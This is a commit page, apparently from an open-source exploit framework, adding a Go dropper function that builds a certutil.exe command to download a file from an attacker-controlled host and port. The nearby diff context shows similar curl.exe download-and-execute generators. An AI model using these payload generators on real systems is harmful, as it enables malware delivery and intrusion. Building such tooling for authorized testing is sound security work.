Skip to content

Commit 5a10677

Browse files
authored
Merge pull request #409 from vulncheck-oss/certutildownloadonly
Added dropper function: CertutilDownloadOnly with docs
2 parents 0afbd2e + 529c277 commit 5a10677

File tree

1 file changed

+12
-0
lines changed

1 file changed

+12
-0
lines changed

payload/dropper/windows.go

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,18 @@ func (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl boo
1818
return fmt.Sprintf("curl.exe -so %s http://%s:%d/%s", output, lhost, lport, downloadFile)
1919
}
2020

21+
// Much like CurlHTTPDownloadOnly, this function will generate the certutil.exe command to download a file and save it to the provided location.
22+
//
23+
// downloadCmd := dropper.Windows.CertutilHTTPDownloadOnly(httpFileServer.HTTPAddr, httpFileServer.HTTPPort, httpFileServer.TLS, httpFileServer.GetRandomName(""), destFilePath)
24+
func (win *WindowsPayload) CertutilHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, outputPath string) string {
25+
uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile)
26+
if ssl {
27+
uri = strings.Replace(uri, "http://", "https://", 1)
28+
}
29+
30+
return fmt.Sprintf("certutil.exe -urlcache -split -f %s %s", uri, outputPath)
31+
}
32+
2133
// Download a remote file with curl.exe, execute it, and delete it (after execution).
2234
func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
2335
output := `%TEMP%\` + random.RandLetters(3) + ".exe"

0 commit comments

Comments
 (0)